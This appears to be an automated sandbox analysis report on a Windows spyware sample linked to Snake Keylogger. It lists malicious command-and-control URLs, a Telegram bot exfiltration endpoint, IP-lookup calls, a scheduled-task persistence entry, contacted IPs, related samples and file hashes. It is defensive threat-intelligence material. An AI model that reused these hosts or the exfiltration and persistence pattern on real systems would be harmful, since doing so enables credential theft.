https://reallyfreegeoip.org/xml/	2i3Lj7a8Gk.exe, 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4140515962.0000000000435000.00000040.00000400.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/	lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002D73000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.com	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org	2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003071000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.000000000419D000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.0000000004341000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003179000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.0000000004150000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000041C5000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.0000000004417000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000042F4000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003F27000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003E52000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003E04000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003CD5000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003CAD000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003C60000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003157000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C66000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.carterandcone.coml	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://aborters.duckdns.org:8081	2i3Lj7a8Gk.exe, 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003071000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4140515527.0000000000434000.00000040.00000400.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?L	2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003179000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C89000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33$	2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.00000000030EB000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003130000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003157000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C40000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C66000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002BFB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anotherarmy.dns.army:8081	2i3Lj7a8Gk.exe, 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003071000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4140515527.0000000000434000.00000040.00000400.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.jiyu-kobo.co.jp/	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org	2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003130000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4142790643.0000000003157000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C40000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002C66000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4143062604.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	2i3Lj7a8Gk.exe, 00000000.00000002.1728997791.0000000006BF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000041A0000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.000000000412B000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000042CF000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000042FA000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.0000000004156000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4149503231.00000000043F2000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003F02000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003E0A000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003C66000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003DDF000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003CB0000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 0000000D.00000002.4149676725.0000000003C3B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	2i3Lj7a8Gk.exe, 00000000.00000002.1723487910.000000000432A000.00000004.00000800.00020000.00000000.sdmp, 2i3Lj7a8Gk.exe, 00000006.00000002.4140515962.0000000000435000.00000040.00000400.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.0000000004B97000.00000004.00000800.00020000.00000000.sdmp, lyNyKapwZJLKnn.exe, 00000007.00000002.1769534366.00000000049FA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
68.66.224.41	precioustouchfoundation.org	United States	55293	A2HOSTINGUS	true
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527690
Start date and time:	2024-10-07 08:50:22 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2i3Lj7a8Gk.exe renamed because original name is a hash value
Original Sample Name:	953b66b361820b31e028c6eae7f14a8b57ca6dd231baae5045abbaf7455ab6f3.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@20/11@5/4
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 100% Number of executed functions: 173 Number of non-executed functions: 33
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target lyNyKapwZJLKnn.exe, PID 7540 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:51:15	API Interceptor	8969270x Sleep call for process: 2i3Lj7a8Gk.exe modified
02:51:17	API Interceptor	17x Sleep call for process: powershell.exe modified
02:51:19	API Interceptor	6672366x Sleep call for process: lyNyKapwZJLKnn.exe modified
07:51:17	Task Scheduler	Run new task: lyNyKapwZJLKnn path: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	e4L9TXRBhB.exe	Get hash	malicious	XWorm	Browse
	YirR3DbZQp.exe	Get hash	malicious	XWorm	Browse
	qtYuyATh0U.exe	Get hash	malicious	XWorm	Browse
	SOA-injazfe-10424.vbs	Get hash	malicious	XWorm	Browse
	Quote_ECM129_ Kumbih III.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	INVOICE-COAU7230734290.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	8QBpLkbY6i.exe	Get hash	malicious	WhiteSnake Stealer	Browse
	Bukti-Transfer...exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	SolaraV3.exe	Get hash	malicious	Blank Grabber	Browse
	SolaraV4.exe	Get hash	malicious	Blank Grabber	Browse
188.114.96.3	http://revexhibition.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	revexhibition.pages.dev/favicon.ico
	http://meta.case-page-appeal.eu/community-standard/112225492204863/	Get hash	malicious	Unknown	Browse	meta.case-page-appeal.eu/assets/k9854w4e5136q5a-f2169603.png
	http://www.tkmall-wholesale.com/	Get hash	malicious	Unknown	Browse	www.tkmall-wholesale.com/
	c1#U09a6.exe	Get hash	malicious	Unknown	Browse	winfileshare.com/ticket_line/llb.php
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	1tstvk3Sls.exe	Get hash	malicious	RHADAMANTHYS	Browse	microsoft-rage.world/Api/v3/qjqzqiiqayjq
	http://Asm.alcateia.org	Get hash	malicious	HTMLPhisher	Browse	asm.alcateia.org/
	hbwebdownload - MT 103.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?Edg8Tp=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+lW3g3vOrk23&iL30=-ZRd9JBXfLe8q2J
	z4Shipping_document_pdf.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/g48c/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	VX7fQ2wEzC.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	jHSDuYLeUl.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	na.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	188.114.97.3
	na.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	188.114.96.3
	Quote_ECM129_ Kumbih III.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	INVOICE-COAU7230734290.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Bukti-Transfer...exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	yvDk2VZluODBu6S.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	QUOTATION_OCTQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Payment Advice Note.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.177.134
checkip.dyndns.com	VX7fQ2wEzC.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	jHSDuYLeUl.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	na.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	193.122.6.168
	na.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	132.226.8.169
	Quote_ECM129_ Kumbih III.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	INVOICE-COAU7230734290.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Bukti-Transfer...exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	yvDk2VZluODBu6S.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	QUOTATION_OCTQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Payment Advice Note.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
api.telegram.org	e4L9TXRBhB.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	YirR3DbZQp.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	qtYuyATh0U.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	SOA-injazfe-10424.vbs	Get hash	malicious	XWorm	Browse	149.154.167.220
	Quote_ECM129_ Kumbih III.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	INVOICE-COAU7230734290.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	8QBpLkbY6i.exe	Get hash	malicious	WhiteSnake Stealer	Browse	149.154.167.220
	Bukti-Transfer...exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SolaraV3.exe	Get hash	malicious	Blank Grabber	Browse	149.154.167.220
	SolaraV4.exe	Get hash	malicious	Blank Grabber	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	e4L9TXRBhB.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	YirR3DbZQp.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	qtYuyATh0U.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	https://floral-heart-eeff.3p3ka4x.workers.dev/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://sexyboobsme.pages.dev/	Get hash	malicious	Porn Scam	Browse	149.154.167.99
	https://telegrambotfix.pages.dev/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://minthunts4.vercel.app/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.99
	http://neww.web-r33s.live/lucah-1/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://huntnfts3.vercel.app/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.99
A2HOSTINGUS	http://allstatelock.com	Get hash	malicious	Unknown	Browse	68.66.216.31
	https://mairenaflores.com/office.html	Get hash	malicious	Unknown	Browse	68.66.200.212
	https://upsprioritymails.com/	Get hash	malicious	Unknown	Browse	66.198.240.25
	are_steering_wheel_knobs_legal_on_commercial_vehicles(70726).js	Get hash	malicious	GookitLoader	Browse	68.66.224.8
	https://lumieregroup.ae/gjf/index.php?mail=bk.kim@hdel.co.kr	Get hash	malicious	Unknown	Browse	68.66.226.99
	https://www.tiktok.com/////link/v2?aid=1988&lang=enpccf5n&scene=bio_url&target=google.com.tw.////amp/s/%E2%80%8BLearfield%E2%80%8B.%E2%80%8Ba%C2%ADte%C2%ADd%C2%ADs%C2%ADe%C2%ADn%C2%ADat%C2%ADe%E2%80%8B.o%C2%ADn%C2%ADe%E2%80%8B/3CbNpT	Get hash	malicious	Phisher	Browse	103.227.176.4
	https://bahamastourdeals.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPVZXWjRia289JnVpZD1VU0VSMTUwODIwMjRVMjMwODE1MTE=N0123N	Get hash	malicious	Unknown	Browse	68.66.229.177
	SecureMessageATT.html	Get hash	malicious	HTMLPhisher	Browse	68.66.229.177
	https://www.carsoup.com/api/v1/connections/store?type=web_referrals&dealer_id=18689&redirect=https%3A%2F%2Flyn.bz/bbb	Get hash	malicious	HTMLPhisher	Browse	185.146.22.239
	firmware.armv4l.elf	Get hash	malicious	Unknown	Browse	75.98.175.92
CLOUDFLARENETUS	https://vvtx.org/q76938a7ap0b7d49301b74285fc262c0b4e8.html&data=05/	Get hash	malicious	Unknown	Browse	104.26.9.233
	https://pub-3b380a6d506e4fdbb1786f239cfe3be3.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://pub-798464f3fd9d44d0b3d15c59379a2110.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://pub-ed4436928a0f4db6a9860bf39f13ccf7.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://pub-f3fd7582ff8a4d27a648a25dda05fecf.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://pub-b60bbcf7edd9477a8f686caa270d9f9c.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://pub-d55459157ebb42a9815eb5a80662b7e8.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://sneamcomnnumnlty.com/hfjf748934924/geting/put	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://attachmentattt.netlify.app/	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://meta.case-page-appeal.eu/community-standard/472356516148192	Get hash	malicious	Unknown	Browse	188.114.96.3
UTMEMUS	VX7fQ2wEzC.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	jHSDuYLeUl.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	na.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	132.226.8.169
	Quote_ECM129_ Kumbih III.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	INVOICE-COAU7230734290.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Confirmation transfer AGS # 03-10-24.scr.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	Urgent inquiry for quotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Payment Advice - Advice Ref pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Ziraat Bankasi Swift Mesaji_20241003_3999382.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	MT103-93850.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	VX7fQ2wEzC.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	jHSDuYLeUl.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	188.114.96.3
	na.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	188.114.96.3
	na.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	188.114.96.3
	Winscreen.exe	Get hash	malicious	Xmrig	Browse	188.114.96.3
	Quote_ECM129_ Kumbih III.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	INVOICE-COAU7230734290.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Bukti-Transfer...exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	yvDk2VZluODBu6S.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
3b5074b1b5d032e5620f69f9f700ff0e	https://ipfs.io/ipfs/bafkreibgdbnu3tuzgf67i4df7bjrmnd32cxot5fwvnixsiomyn2sw6sfru	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://sneamcomnnumnlty.com/hfjf748934924/geting/put	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://attachmentattt.netlify.app/	Get hash	malicious	Unknown	Browse	149.154.167.220
	http://emaildlatt-mailcom-28e2uy93.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	http://www.mallpurchase.com/	Get hash	malicious	Unknown	Browse	149.154.167.220
	DHL_Shipment_Details_8th_October.pdf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Request For Quotation.js	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Company Profile.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220
	Quotation request YN2024-10-07pdf.vbs	Get hash	malicious	Remcos	Browse	149.154.167.220
	Urgent Purchase Order (P.O.) No.477764107102024.vbs	Get hash	malicious	Remcos	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\2i3Lj7a8Gk.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\lyNyKapwZJLKnn.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, 